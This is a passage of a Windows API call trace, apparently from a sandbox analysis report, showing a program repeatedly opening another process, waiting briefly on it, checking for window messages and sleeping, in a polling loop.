(dwMilliseconds=0x1) [0280.264] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.264] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.280] CloseHandle (hObject=0x1990) returned 1 [0280.280] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.280] Sleep (dwMilliseconds=0x1) [0280.295] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.295] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.311] CloseHandle (hObject=0x1990) returned 1 [0280.311] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.311] Sleep (dwMilliseconds=0x1) [0280.327] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.327] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.342] CloseHandle (hObject=0x1990) returned 1 [0280.342] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.342] Sleep (dwMilliseconds=0x1) [0280.358] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.358] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.373] CloseHandle (hObject=0x1990) returned 1 [0280.374] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.374] Sleep (dwMilliseconds=0x1) [0280.389] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.389] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.405] CloseHandle (hObject=0x1990) returned 1 [0280.405] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.405] Sleep (dwMilliseconds=0x1) [0280.423] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.423] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.436] CloseHandle (hObject=0x1990) returned 1 [0280.436] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.436] Sleep (dwMilliseconds=0x1) [0280.451] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.451] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.467] CloseHandle (hObject=0x1990) returned 1 [0280.467] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.467] Sleep (dwMilliseconds=0x1) [0280.483] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.483] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.498] CloseHandle (hObject=0x1990) returned 1 [0280.498] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.498] Sleep (dwMilliseconds=0x1) [0280.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.514] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.530] CloseHandle (hObject=0x1990) returned 1 [0280.530] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.530] Sleep (dwMilliseconds=0x1) [0280.545] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.545] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.561] CloseHandle (hObject=0x1990) returned 1 [0280.561] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.561] Sleep (dwMilliseconds=0x1) [0280.576] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.576] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.592] CloseHandle (hObject=0x1990) returned 1 [0280.592] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.592] Sleep (dwMilliseconds=0x1) [0280.608] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.608] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.623] CloseHandle (hObject=0x1990) returned 1 [0280.623] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.623] Sleep (dwMilliseconds=0x1) [0280.639] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.639] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.655] CloseHandle (hObject=0x1990) returned 1 [0280.655] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.655] Sleep (dwMilliseconds=0x1) [0280.670] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.670] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.688] CloseHandle (hObject=0x1990) returned 1 [0280.688] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.688] Sleep (dwMilliseconds=0x1) [0280.701] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.701] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.717] CloseHandle (hObject=0x1990) returned 1 [0280.718] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.718] Sleep (dwMilliseconds=0x1) [0280.733] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.733] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.748] CloseHandle (hObject=0x1990) returned 1 [0280.748] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.748] Sleep (dwMilliseconds=0x1) [0280.774] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.774] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.780] CloseHandle (hObject=0x1990) returned 1 [0280.780] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.780] Sleep (dwMilliseconds=0x1) [0280.795] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.795] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.811] CloseHandle (hObject=0x1990) returned 1 [0280.811] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.811] Sleep (dwMilliseconds=0x1) [0280.827] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.827] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.842] CloseHandle (hObject=0x1990) returned 1 [0280.842] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.842] Sleep (dwMilliseconds=0x1) [0280.858] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.858] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.873] CloseHandle (hObject=0x1990) returned 1 [0280.873] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.873] Sleep (dwMilliseconds=0x1) [0280.889] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.889] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.904] CloseHandle (hObject=0x1990) returned 1 [0280.905] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.905] Sleep (dwMilliseconds=0x1) [0280.920] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.920] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.936] CloseHandle (hObject=0x1990) returned 1 [0280.936] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.936] Sleep (dwMilliseconds=0x1) [0280.952] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.952] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.967] CloseHandle (hObject=0x1990) returned 1 [0280.967] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.967] Sleep (dwMilliseconds=0x1) [0280.989] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.989] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.999] CloseHandle (hObject=0x1990) returned 1 [0280.999] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.999] Sleep (dwMilliseconds=0x1) [0281.014] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.014] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.030] CloseHandle (hObject=0x1990) returned 1 [0281.030] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.030] Sleep (dwMilliseconds=0x1) [0281.045] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.045] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.063] CloseHandle (hObject=0x1990) returned 1 [0281.063] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.063] Sleep (dwMilliseconds=0x1) [0281.076] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.076] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.092] CloseHandle (hObject=0x1990) returned 1 [0281.092] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.092] Sleep (dwMilliseconds=0x1) [0281.108] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.108] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.123] CloseHandle (hObject=0x1990) returned 1 [0281.123] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.123] Sleep (dwMilliseconds=0x1) [0281.139] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.139] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.155] CloseHandle (hObject=0x1990) returned 1 [0281.155] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.155] Sleep (dwMilliseconds=0x1) [0281.170] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.170] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.187] CloseHandle (hObject=0x1990) returned 1 [0281.187] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.187] Sleep (dwMilliseconds=0x1) [0281.201] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.202] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.217] CloseHandle (hObject=0x1990) returned 1 [0281.217] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.217] Sleep (dwMilliseconds=0x1) [0281.233] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.233] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.248] CloseHandle (hObject=0x1990) returned 1 [0281.248] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.248] Sleep (dwMilliseconds=0x1) [0281.265] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.265] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.280] CloseHandle (hObject=0x1990) returned 1 [0281.280] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.280] Sleep (dwMilliseconds=0x1) [0281.295] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.295] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.311] CloseHandle (hObject=0x1990) returned 1 [0281.311] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.311] Sleep (dwMilliseconds=0x1) [0281.326] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.326] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.342] CloseHandle (hObject=0x1990) returned 1 [0281.342] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.342] Sleep (dwMilliseconds=0x1) [0281.358] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.358] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.374] CloseHandle (hObject=0x1990) returned 1 [0281.374] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.374] Sleep (dwMilliseconds=0x1) [0281.389] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.389] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.405] CloseHandle (hObject=0x1990) returned 1 [0281.405] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.405] Sleep (dwMilliseconds=0x1) [0281.420] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.420] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.436] CloseHandle (hObject=0x1990) returned 1 [0281.436] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.436] Sleep (dwMilliseconds=0x1) [0281.452] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.452] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.470] CloseHandle (hObject=0x1990) returned 1 [0281.470] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.470] Sleep (dwMilliseconds=0x1) [0281.483] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.483] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.498] CloseHandle (hObject=0x1990) returned 1 [0281.498] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.498] Sleep (dwMilliseconds=0x1) [0281.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.514] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.530] CloseHandle (hObject=0x1990) returned 1 [0281.530] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.530] Sleep (dwMilliseconds=0x1) [0281.545] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.545] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.561] CloseHandle (hObject=0x1990) returned 1 [0281.561] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.561] Sleep (dwMilliseconds=0x1) [0281.576] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.576] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.592] CloseHandle (hObject=0x1990) returned 1 [0281.592] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.592] Sleep (dwMilliseconds=0x1) [0281.608] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.608] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.623] CloseHandle (hObject=0x1990) returned 1 [0281.623] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.623] Sleep (dwMilliseconds=0x1) [0281.639] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.639] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.654] CloseHandle (hObject=0x1990) returned 1 [0281.655] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.655] Sleep (dwMilliseconds=0x1) [0281.670] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.670] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.686] CloseHandle (hObject=0x1990) returned 1 [0281.686] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.686] Sleep (dwMilliseconds=0x1) [0281.702] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.702] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.717] CloseHandle (hObject=0x1990) returned 1 [0281.717] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.717] Sleep (dwMilliseconds=0x1) [0281.733] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.733] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.748] CloseHandle (hObject=0x1990) returned 1 [0281.748] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.748] Sleep (dwMilliseconds=0x1) [0281.774] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.774] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.780] CloseHandle (hObject=0x1990) returned 1 [0281.780] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.780] Sleep (dwMilliseconds=0x1) [0281.795] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.795] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.811] CloseHandle (hObject=0x1990) returned 1 [0281.811] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.811] Sleep (dwMilliseconds=0x1) [0281.827] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.827] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.842] CloseHandle (hObject=0x1990) returned 1 [0281.842] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.842] Sleep (dwMilliseconds=0x1) [0281.858] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.858] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.873] CloseHandle (hObject=0x1990) returned 1 [0281.873] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.873] Sleep (dwMilliseconds=0x1) [0281.889] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.889] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.904] CloseHandle (hObject=0x1990) returned 1 [0281.905] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.905] Sleep (dwMilliseconds=0x1) [0281.920] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.920] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.936] CloseHandle (hObject=0x1990) returned 1 [0281.936] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.936] Sleep (dwMilliseconds=0x1) [0281.952] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.952] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.967] CloseHandle (hObject=0x1990) returned 1 [0281.967] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.967] Sleep (dwMilliseconds=0x1) [0281.988] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0281.988] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0281.999] CloseHandle (hObject=0x1990) returned 1 [0281.999] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0281.999] Sleep (dwMilliseconds=0x1) [0282.014] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.014] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.030] CloseHandle (hObject=0x1990) returned 1 [0282.030] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.030] Sleep (dwMilliseconds=0x1) [0282.045] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.045] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.061] CloseHandle (hObject=0x1990) returned 1 [0282.061] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.061] Sleep (dwMilliseconds=0x1) [0282.077] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.077] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.092] CloseHandle (hObject=0x1990) returned 1 